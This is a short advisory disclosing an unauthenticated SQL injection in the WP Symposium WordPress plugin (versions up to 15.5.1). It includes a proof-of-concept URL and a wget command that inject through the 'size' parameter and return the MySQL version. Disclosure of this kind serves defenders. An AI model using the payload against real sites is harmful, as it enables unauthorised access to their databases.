WP Symposium <= 15.5.1 - Unauthenticated SQL Injection

Description:
Wordpress plugin wp-symposium version 15.5.1 (and probably all existing previous versions) suffers from an
unauthenticated SQL Injection in get_album_item.php, parameter 'size'.

The issue is exploitable even if the plugin is deactivated.

Proof of Concept

PoC URL : http://localhost/<WP-path>/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--

PoC Command (Unix) : wget "http://localhost/<WP-path>/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--" -O output.txt

In the content of the HTTP response you will find the MySQL version, for example :
5.5.44-0+deb7u1 

References

https://www.exploit-db.com/exploits/37824
https://wpscan.com/vulnerability/8140